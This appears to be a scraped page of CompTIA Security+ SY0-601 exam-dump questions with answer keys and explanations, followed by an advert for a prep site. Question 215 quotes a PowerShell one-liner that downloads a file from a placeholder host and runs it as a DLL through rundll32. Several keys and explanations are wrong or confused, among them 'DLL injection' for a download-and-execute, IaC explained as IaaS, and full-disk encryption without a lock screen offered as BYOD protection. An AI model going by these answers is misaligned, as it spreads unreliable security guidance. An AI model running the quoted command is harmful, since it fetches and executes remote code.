Version control is a solution that can help a development team to analyze the deletion or editing of data sets without affecting the original copy. Version control is a system that records changes to a file or set of files over time so that specific versions can be recalled later. Version control can help developers track and manage changes to code, data, or documents, as well as collaborate with other developers and resolve conflicts.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives
https://www.atlassian.com/git/tutorials/what-is-version-control

NEW QUESTION 202
- (Exam Topic 2)
Which of the following should be addressed first on security devices before connecting to the network?

A. Open permissions
B. Default settings
C. API integration configuration
D. Weak encryption

Answer: B

Explanation:
Before connecting security devices to the network, it is crucial to address default settings first. Manufacturers often ship devices with default settings that include default usernames, passwords, and configurations. These settings are widely known and can be easily exploited by attackers. Changing default settings helps to secure the device and prevent unauthorized access. Reference: CompTIA Security+ SY0-501 Exam Objectives, Section 3.2: "Given a scenario, implement secure

systems design." (https://www.comptia.jp/pdf/Security%2B%20SY0-501%20Exam%20Objectives.pdf)

NEW QUESTION 206
- (Exam Topic 2)
Audit logs indicate an administrative account that belongs to a security engineer has been locked out multiple times during the day. The security engineer has been on vacation (or a few days. Which of the following attacks can the account lockout be attributed to?

A. Backdoor
B. Brute-force
C. Rootkit
D. Trojan

Answer: B

Explanation:
The account lockout can be attributed to a brute-force attack. A brute-force attack is a type of attack where an attacker attempts to guess a user's password by continually trying different combinations of characters. In this case, it is likely that the security engineer's account was locked out due to an attacker attempting to guess their password. Backdoor, rootkit, and Trojan attacks are not relevant in this scenario.

NEW QUESTION 211
- (Exam Topic 2)
Which of the following incident response phases should the proper collection of the detected 'ocs and establishment of a chain of custody be performed before?

A. Containment
B. Identification
C. Preparation
D. Recovery

Answer: A

Explanation:
Containment is the phase where the incident response team tries to isolate and stop the spread of the incident12. Before containing the incident, the team should collect and preserve any evidence that may be useful for analysis and investigation12. This includes documenting the incident details, such as date, time, location, source, and impact12. It also includes establishing a chain of custody, which is a record of who handled the evidence, when, where, how, and why3. A chain of custody ensures the integrity and admissibility of the evidence in court or other legal proceedings3.

NEW QUESTION 215
- (Exam Topic 2)
An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?

A. A Powershell code is performing a DLL injection.
B. A PowerShell code is displaying a picture.
C. A PowerShell code is configuring environmental variables.
D. A PowerShell code is changing Windows Update settings.

Answer: A

Explanation:
According to GitHub user JSGetty196's notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
https://www.comptia.org/training/books/security-sy0-601-study-guide

NEW QUESTION 216
- (Exam Topic 2)
While reviewing the /etc/shadow file, a security administrator notices files with the same values. Which of the following attacks should the administrator be concerned about?

A. Plaintext
B. Birthdat
C. Brute-force
D. Rainbow table

Answer: D

Explanation:
Rainbow table is a type of attack that should concern a security administrator when reviewing the /etc/shadow file. The /etc/shadow file is a file that stores encrypted passwords of users in a Linux system. A rainbow table is a precomputed table of hashes and their corresponding plaintext values that can be used to crack hashed passwords. If an attacker obtains a copy of the /etc/shadow file, they can use a rainbow table to find the plaintext passwords of users.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.geeksforgeeks.org/rainbow-table-in-cryptography/

NEW QUESTION 221
- (Exam Topic 2)
A company wants to enable BYOD for checking email and reviewing documents. Many of the documents contain sensitive organizational information. Which of the

following should be deployed first before allowing the use of personal devices to access company data?

A. MDM
B. RFID
C. DLR
D. SIEM

Answer: A

Explanation:
MDM stands for Mobile Device Management, which is a solution that can be used to manage and secure personal devices that access company data. MDM can enforce policies and rules, such as password protection, encryption, remote wipe, device lock, application control, and more. MDM can help a company enable BYOD (Bring Your Own Device) while protecting sensitive organizational information.

NEW QUESTION 225
- (Exam Topic 2)
A security engineer is investigating a penetration test report that states the company website is vulnerable to a web application attack. While checking the web logs from the time of the test, the engineer notices several invalid web form submissions using an unusual address: "SELECT * FROM customername". Which of the following is most likely being attempted?

A. Directory traversal
B. SQL injection
C. Privilege escalation
D. Cross-site scripting

Answer: B

Explanation:
SQL injection is a web application attack that involves inserting malicious SQL statements into an input field, such as a web form, to manipulate or access the database behind the application. SQL injection can be used to perform various actions, such as reading, modifying, or deleting data, executing commands on the database server, or bypassing authentication. In this scenario, the attacker is trying to use a SQL statement "SELECT * FROM customername" to retrieve all data from the customername table in the database.

NEW QUESTION 226
- (Exam Topic 2)
A security operations center wants to implement a solution that can execute files to test for malicious activity. The solution should provide a report of the files' activity against known threats.
Which of the following should the security operations center implement?

A. theHarvester
B. Nessus
C. Cuckoo
D. Sn1per

Answer: C

Explanation:
Cuckoo is a sandbox that is specifically written to run programs inside and identify any malware. A sandbox is a virtualized environment that isolates the program from the rest of the system and monitors its behavior. Cuckoo can analyze files of various types, such as executables, documents, URLs, and more. Cuckoo can provide a report of the files' activity against known threats, such as network traffic, file operations, registry changes, API calls, and so on.
A security operations center can implement Cuckoo to execute files to test for malicious activity and generate a report of the analysis. Cuckoo can help the security operations center to detect and prevent malware infections, investigate incidents, and perform threat intelligence.

NEW QUESTION 228
- (Exam Topic 2)
A company is enhancing the security of the wireless network and needs to ensure only employees with a valid certificate can authenticate to the network. Which of the following should the company implement?

A. PEAP
B. PSK
C. WPA3
D. WPS

Answer: A

Explanation:
PEAP stands for Protected Extensible Authentication Protocol, which is a protocol that can provide secure authentication for wireless networks. PEAP can use certificates to authenticate the server and the client, or only the server. PEAP can also use other methods, such as passwords or tokens, to authenticate the client. PEAP can ensure only employees with a valid certificate can authenticate to the network.

NEW QUESTION 231
- (Exam Topic 2)
A security practitioner is performing due diligence on a vendor that is being considered for cloud services.
Which of the following should the practitioner consult for the best insight into the current security posture of the vendor?

A. PCI DSS standards
B. SLA contract
C. CSF framework
D. SOC 2 report

Answer: D

Explanation:
A SOC 2 report is a document that provides an independent assessment of a service organization's controls related to the Trust Services Criteria of Security, Availability, Processing Integrity, Confidentiality, or Privacy. A SOC 2 report can help a security practitioner evaluate the current security posture of a vendor that provides cloud services1.

NEW QUESTION 236
- (Exam Topic 2)
A company owns a public-facing e-commerce website. The company outsources credit card transactions to a payment company. Which of the following BEST describes the role of the payment company?

A. Data controller
B. Data custodian
C. Data owners
D. Data processor

Answer: D

Explanation:
A data processor is an organization that processes personal data on behalf of a data controller. In this scenario, the company that owns the e-commerce website is the data controller, as it determines the purposes and means of processing personal data (e.g. credit card information). The payment company is a data processor, as it processes personal data on behalf of the e-commerce company (i.e. it processes credit card transactions).
Reference: CompTIA Security+ Study Guide (SY0-601) 7th Edition by Emmett Dulaney, Chuck Easttom

NEW QUESTION 237
- (Exam Topic 2)
Physical access to the organization's servers in the data center requires entry and exit through multiple access points: a lobby, an access control vestibule, three doors leading to the server floor itself and eventually to a caged area solely for the organization's hardware. Which of the following controls is described in this scenario?

A. Compensating
B. Deterrent
C. Preventive
D. Detective

Answer: C

Explanation:
The scenario describes preventive controls, which are designed to stop malicious actors from gaining access to the organization's servers. This includes using multiple access points, such as a lobby, an access control vestibule, and multiple doors leading to the server floor, as well as caging the organization's hardware. According to the CompTIA Security+ SY0-601 document, preventive controls are "designed to stop malicious actors from performing a malicious activity or gaining access to an asset." These controls can include technical solutions, such as authentication and access control systems, physical security solutions, such as locks and barriers, and administrative solutions such as policy enforcement.

NEW QUESTION 241
- (Exam Topic 2)
A police department is using the cloud to share information city officials Which of the cloud models describes this scenario?

A. Hybrid
B. private
C. pubic
D. Community

Answer: D

Explanation:
A community cloud model describes a scenario where a cloud service is shared among multiple organizations that have common goals, interests, or requirements. A community cloud can be hosted by one of the organizations, a third-party provider, or a combination of both. A community cloud can offer benefits such as cost savings, security, compliance, and collaboration. A police department using the cloud to share information with city officials is an example of a community cloud model.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.ibm.com/cloud/learn/community-cloud

NEW QUESTION 244
- (Exam Topic 2)
A company would like to move to the cloud. The company wants to prioritize control and security over cost and ease of management. Which of the following cloud models would best suit this company's priorities?

A. Public
B. Hybrid
C. Community
D. Private

Answer: D

Explanation:
A private cloud model would best suit the company's priorities of control and security over cost and ease of management. In a private cloud, the infrastructure is

dedicated to a single organization, providing greater control over the environment and the ability to implement strict security measures. This is in contrast to public, community, or hybrid cloud models, where resources are shared among multiple organizations, potentially compromising control and security. While private clouds can be more expensive and more difficult to manage, they the highest level of control and security for the company.
Reference:
- CompTIA Security+ Certification Exam Objectives (SY0-601), Section 3.2: "Explain the importance of secure staging deployment concepts."
- Cisco: Private Cloud - https://www.cisco.com/c/en/us/solutions/cloud/private-cloud.html

NEW QUESTION 248
- (Exam Topic 2)
The management team has requested that the security team implement 802.1X into the existing wireless network setup. The following requirements must be met:
• Minimal interruption to the end user
• Mutual certificate validation
Which of the following authentication protocols would meet these requirements?

A. EAP-FAST
B. PSK
C. EAP-TTLS
D. EAP-TLS

Answer: D

Explanation:
EAP-TLS (Extensible Authentication Protocol - Transport Layer Security) is an authentication protocol that uses certificates to provide mutual authentication between the client and the authentication server. It also allows for the encryption of user credentials, making EAP-TLS a secure and reliable authentication protocol. According to the CompTIA Security+ SY0-601 Official Text Book, EAP-TLS is well-suited for wireless networks due to its mutual authentication capabilities and its ability to securely store credentials. It is also the preferred authentication protocol for 802.1X wireless networks.

NEW QUESTION 249
- (Exam Topic 1)
The Chief Information Security Officer (CISO) has decided to reorganize security staff to concentrate on incident response and to outsource outbound Internet URL categorization and filtering to an outside company.
Additionally, the CISO would like this solution to provide the same protections even when a company laptop or mobile device is away from a home office. Which of the following should the CISO choose?

A. CASB
B. Next-generation SWG
C. NGFW
D. Web-application firewall

Answer: B

Explanation:
The solution that the CISO should choose is Next-generation Secure Web Gateway (SWG), which provides URL filtering and categorization to prevent users from accessing malicious sites, even when they are away from the office. NGFWs are typically cloud-based and offer multiple security layers, including malware detection, intrusion prevention, and data loss prevention. References:
CompTIA Security+ Study Guide Exam SY0-601, Chapter 4

NEW QUESTION 250
- (Exam Topic 1)
A company reduced the area utilized in its datacenter by creating virtual networking through automation and by creating provisioning routes and rules through scripting. Which of the following does this example describe?

A. IaC
B. MSSP
C. Containers
D. SaaS

Answer: A

Explanation:
IaaS (Infrastructure as a Service) allows the creation of virtual networks, automation, and scripting to reduce the area utilized in a datacenter. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 4

NEW QUESTION 251
- (Exam Topic 1)
A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even through the data is still viewable from the user's PCs. Which of the following is the most likely cause of this issue?

A. TFTP was disabled on the local hosts
B. SSH was turned off instead of modifying the configuration file
C. Remote login was disabled in the networkd.config instead of using the sshd.conf
D. Network services are no longer running on the NAS

Answer: B

Explanation:
SSH stands for Secure Shell Protocol, which is a cryptographic network protocol that allows secure remote login and command execution on a network device12.

SSH can encrypt both the authentication information and the data being exchanged between the client and the server2. SSH can be used to access and manage a NAS device remotely3.

NEW QUESTION 253
- (Exam Topic 1)
An organization discovered a disgruntled employee exfiltrated a large amount of PII data by uploading files Which of the following controls should the organization consider to mitigate this risk?

A. EDR
B. Firewall
C. HIPS
D. DLP

Answer: D

Explanation:
DLP stands for data loss prevention, which is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help mitigate the risk of data exfiltration by disgruntled employees or external attackers by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, print, email, upload, or download sensitive data based on predefined policies and rules.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.forcepoint.com/cyber-edu/data-loss-prevention-dlp

NEW QUESTION 256
- (Exam Topic 1)
Which of the following cryptographic concepts would a security engineer utilize while implementing non-repudiation? (Select TWO)

A. Block cipher
B. Hashing
C. Private key
D. Perfect forward secrecy
E. Salting
F. Symmetric keys

Answer: BC

Explanation:
Non-repudiation is the ability to ensure that a party cannot deny a previous action or event. Cryptographic concepts that can be used to implement non-repudiation include hashing and digital signatures, which use a private key to sign a message and ensure that the signature is unique to the signer. References: CompTIA Security+ Certification Exam Objectives (SY0-601)

NEW QUESTION 260
- (Exam Topic 1)
A company recently decided to allow its employees to use their personally owned devices for tasks like checking email and messaging via mobile applications. The company would like to use MDM, but employees are concerned about the loss of personal data. Which of the following should the IT department implement to BEST protect the company against company data loss while still addressing the employees' concerns?

A. Enable the remote-wiping option in the MDM software in case the phone is stolen.
B. Configure the MDM software to enforce the use of PINs to access the phone.
C. Configure MDM for FDE without enabling the lock screen.
D. Perform a factory reset on the phone before installing the company's applications.

Answer: C

Explanation:
MDM software is a type of remote asset-management software that runs from a central server. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets. It can monitor and regulate both corporate-owned and personally owned devices to the organization's policies.
FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage. FDE can protect data from unauthorized access in case the device is lost or stolen.
If a company decides to allow its employees to use their personally owned devices for work tasks, it should configure MDM software to enforce FDE on those devices. This way, the company can protect its data from being exposed if the device falls into the wrong hands.
However, employees may be concerned about the loss of personal data if the company also enables the remote-wiping option in the MDM software. Remote wiping is a feature that allows the company to erase all data on a device remotely in case of theft or loss. Remote wiping can also affect personal data on the device, which may not be acceptable to employees.
Therefore, a possible compromise is to configure MDM for FDE without enabling the lock screen. This means that the device will be encrypted, but it will not require a password or PIN to unlock it. This way, employees can access their personal data easily, while the company can still protect its data with encryption. The other options are not correct because:

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. Remote wiping can erase both work and personal data on the device, which may not be desirable for employees.
- B. Configure the MDM software to enforce the use of PINs to access the phone. This option may enhance the security of the device, but it may not address the company's concern about data loss. PINs can be guessed or bypassed by attackers, and they do not protect data if the device is physically accessed.
- D. Perform a factory reset on the phone before installing the company's applications. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. A factory reset will erase all data on the device, including personal data, which may not be acceptable to employees.

According to CompTIA Security+ SY0-601 Exam Objectives 2.4 Given a scenario, implement secure systems design:
"MDM software is a type of remote asset-management software that runs from a central server1. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets2."
"FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage3." References:

https://www.comptia.org/certifications/security#examdetails
https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives
https://www.makeuseof.com/what-is-mobile-device-management-mdm-software/

NEW QUESTION 262
- (Exam Topic 1)
A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely cause?

A. Security patches were uninstalled due to user impact.
B. An adversary altered the vulnerability scan reports
C. A zero-day vulnerability was used to exploit the web server
D. The scan reported a false negative for the vulnerability

Answer: A

Explanation:
A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers. Security patches are essential for maintaining the security and functionality of systems and applications.
If the vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability, it means that the patch was either not applied or was uninstalled at some point. A possible reason for uninstalling a security patch could be user impact, such as performance degradation, compatibility issues, or functionality loss.
The other options are not correct because:
- B. An adversary altered the vulnerability scan reports. This could be a possibility, but it is less likely than option A. An adversary would need to have access to the vulnerability scan reports and be able to modify them without being detected. Moreover, altering the reports would not prevent the patch from being applied or uninstalled.
- C. A zero-day vulnerability was used to exploit the web server. This is not correct because a zero-day vulnerability is a vulnerability that is unknown to the public or the vendor, and therefore has no patch available. The question states that a patch is available for the vulnerability that was used to exploit the server.
- D. The scan reported a false negative for the vulnerability. This is not correct because a false negative is when a scan fails to detect a vulnerability that is present. The question states that the vulnerability is present in historical vulnerability scan reports, which means that it was detected by previous scans.
According to CompTIA Security+ SY0-601 Exam Objectives 1.4 Given a scenario, analyze potential indicators to determine the type of attack:
“A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers.” References:
https://www.comptia.org/certifications/security#examdetails
https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.getastra.com/blog/security-audit/vulnerability-scanning-report/

NEW QUESTION 265
- (Exam Topic 1)
A network engineer and a security engineer are discussing ways to monitor network operations. Which of the following is the BEST method?

A. Disable Telnet and force SSH.
B. Establish a continuous ping.
C. Utilize an agentless monitor
D. Enable SNMPv3 With passwords.

Answer: C

Explanation:
An agentless monitor is the best method to monitor network operations because it does not require any software or agents to be installed on the devices being monitored, making it less intrusive and less likely to disrupt network operations. This method can monitor various aspects of network operations, such as traffic, performance, and security.
CompTIA Security+ Study Guide, Sixth Edition (SY0-601), Chapter 4: Attacks, Threats, and Vulnerabilities, Monitoring and Detection Techniques, pg. 167-170.

NEW QUESTION 267
- (Exam Topic 1)
A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks Which of the following should the administrator consider?

A. Hashing
B. Salting
C. Lightweight cryptography
D. Steganography

Answer: B

Explanation:
Salting is a technique that adds random data to a password before hashing it. This makes the hash output more unique and unpredictable, and prevents attackers from using precomputed tables (such as rainbow tables) to crack the password hash. Salting also reduces the risk of collisions, which occur when different passwords produce the same hash.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/

NEW QUESTION 268
- (Exam Topic 1)
A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice?

A. Default system configuration

B. Unsecure protocols
C. Lack of vendor support
D. Weak encryption

Answer: C

Explanation:
Using legacy software to support a critical service poses a risk due to lack of vendor support. Legacy software is often outdated and unsupported, which means that security patches and upgrades are no longer available. This can leave the system vulnerable to exploitation by attackers who may exploit known vulnerabilities in the software to gain unauthorized access to the system.
Reference: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 1: Attacks, Threats, and Vulnerabilities

NEW QUESTION 271
- (Exam Topic 1)
The Chief Executive Officer announced a new partnership with a strategic vendor and asked the Chief Information Security Officer to federate user digital identities using SAML-based protocols. Which of the following will this enable?

A. SSO
B. MFA
C. PKI
D. OLP

Answer: A

Explanation:
Federating user digital identities using SAML-based protocols enables Single Sign-On (SSO), which allows users to log in once and access multiple applications without having to enter their credentials for each one. References:

- CompTIA Security+ Certification Exam Objectives 1.3: Explain authentication and access controls.
- CompTIA Security+ Study Guide, Sixth Edition, pages 41-42

NEW QUESTION 275
.....

Relate Links

100% Pass Your SY0-601 Exam with Exambible Prep Materials

https://www.exambible.com/SY0-601-exam/

Contact us

We are proud of our high-quality customer service, which serves you around the clock 24/7.

Viste - https://www.exambible.com/